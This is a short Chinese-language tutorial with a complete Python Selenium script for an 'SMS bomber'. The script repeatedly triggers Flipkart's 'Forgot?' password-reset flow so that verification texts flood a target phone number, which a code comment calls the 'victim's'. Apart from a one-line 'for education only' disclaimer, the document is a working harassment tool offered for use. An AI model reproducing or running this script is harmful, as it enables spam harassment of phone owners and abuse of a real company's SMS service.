Python|使用Selenium的短信轰炸机
在这里,我们将学习一个简单的短信轰炸机技巧(出于娱乐和教育目的)。 Selenium是一个免费工具,用于跨不同浏览器进行自动化测试。在本教程中,我们将学习以给定的频率和间隔自动发送数量的垃圾短信。
要求:
您需要安装chromedriver并设置路径。点击这里下载。
以下是步骤:
- 首先使用此链接访问 Flipkart 网站。
- 然后通过按 ctrl + shift + i 或进入浏览器设置并手动单击检查元素来单击检查元素。
- 然后找到“输入数字”输入字段的班级名称和“忘记?”关联。我们稍后会使用它。
- 现在,通过为每个元素放置适当的类名来运行脚本。
- 现在它会自动向您朋友的手机号码发送垃圾短信。
注意:本教程仅用于教育目的,请勿用于干扰任何人或任何不道德的方式。
下面是实现:
Python3
from selenium import webdriver
import time
# create instance of Chrome webdriver
browser = webdriver.Chrome()
# set the frequency of sms which is approx maximum to 10 per 24 days
frequency = 10
# target mobile number, change it to victim's number and
# also ensure that it's registered on flipkart
mobile_number ="1234567890"
for i in range(frequency):
browser.get('https://www.flipkart.com/account/login?ret=/')
# find the element where we have to
# enter the number using the class name
number = browser.find_element_by_xpath('//*[@id="container"]/div/div[3]/div/div[2]/div/form/div[1]/input')
# automatically type the target number
number.send_keys("1234567890")
# find the element to send a forgot password
# request using it's class name
forgot = browser.find_element_by_link_text('Forgot?')
# clicking on that element
forgot.click()
# set the interval to send each sms
time.sleep(2)
# Close the browser
browser.quit()